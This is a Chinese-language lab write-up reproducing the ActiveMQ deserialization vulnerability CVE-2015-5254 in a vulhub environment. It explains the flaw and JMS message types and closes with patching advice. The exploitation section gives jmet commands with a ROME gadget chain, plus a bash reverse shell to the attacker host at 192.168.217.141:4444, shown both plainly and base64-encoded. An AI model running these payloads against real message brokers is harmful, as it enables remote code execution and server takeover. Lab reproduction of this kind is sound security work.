ActiveMQ 反序列化漏洞复现(CVE-2015-5254)

0x00 漏洞简介:

         Apache ActiveMQ是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。

0x01 原理分析:

         Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

0x02 ​漏洞适用版本:

Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0

 0x03 JMS简介:

​         JavaEE中定义的“Java消息服务”(JMS),定义了Java中访问消息中间件的接口。JMS只 是一套接口,并没有给予实现,各大厂商和开源组织都对JMS实现不同产品,这些产品 包括:Apache的ActiveMQ、阿里的RocketMQ、IBM的MQSeries、Microsoft的MSMQ和 Spring Source的RabbitMQ等等,它们基本都遵循JMS规范。

JMS消息由以下三部分组成的:

  • 消息头:​ 每个消息头字段都有相应的getter和setter方法。
  • 消息属性:如果需要除消息头字段以外的值,那么可以使用消息属性。
  • 消息体:JMS定义的消息类型有TextMessage、MapMessage、BytesMessage、StreamMessage和ObjectMessage。

详细的消息类型介绍如下:

属性类型
TextMessage文本消息
MapMessagek/v
BytesMessage字节流
StreamMessagejava原始的数据流
ObjectMessage序列化的java对象

0x04 漏洞复现:

环境准备

服务器:Centos 7 (IP:192.168.217.140)

ActiveMQ 版本:5.11.1

攻击机:kali(IP:192.168.217.141)

利用工具: https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

  • 进到vulhub靶场进行搭建靶场
docker-compose up -d

  • 然后访问靶机的8186端口,看看是否部署成功

  • 可以看到主页,然后点击Manage ActiveMQ broker 进入到登录界面,用户名和密码都是admin

  • 在Queues里边可以看到现在在队列里边的任务,但是现在里面是空的

  • 接下来在kali里边直接使用jmet-0.1.0-all.jar 创建目录进行验证
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/Angustest" -Yp ROME 192.168.217.140 61616 

  • 此时返回网站查看,可以看到队列里出现了一个event新的任务

  • 点进event

  • 点进去任务详情触发

  • 接下来进入docker检验漏洞是否存在,看看是否/tmp下面有我们写入的文件
docker exec -it 25a18ee3883d /bin/bash

 

  • 发现文件被成功写入,确认漏洞之后就可以进行getshell,更换一下命令即可

payload:

echo "bash -i >& /dev/tcp/192.168.217.141/4444 0>&1" > /tmp/shell.sh && bash /tmp/shell.sh
  • 因为直接反弹shell不行所以尝试写命令到shell.sh中然后执行
bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xNDEvNDQ0NCAwPiYxIiA+IC90bXAvc2hlbGwuc2ggJiYgYmFzaCAvdG1wL3NoZWxsLnNo}|{base64,-d}|{bash,-i}
  • 然后使用 jmet-0.1.0-all.jar 进行漏洞利用
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xNDEvNDQ0NCAwPiYxIiA+IC90bXAvc2hlbGwuc2ggJiYgYmFzaCAvdG1wL3NoZWxsLnNo}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.217.140 61616

  • 同时kali监听端口,并点击任务详情

  • kali上能看到成功返回的shell

 0x05 修复建议:

  • 升级到最新的版本或者使用官网的修复补丁进行修复。

  • 有条件的可以配置waf规则使用waf进行防护。

 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值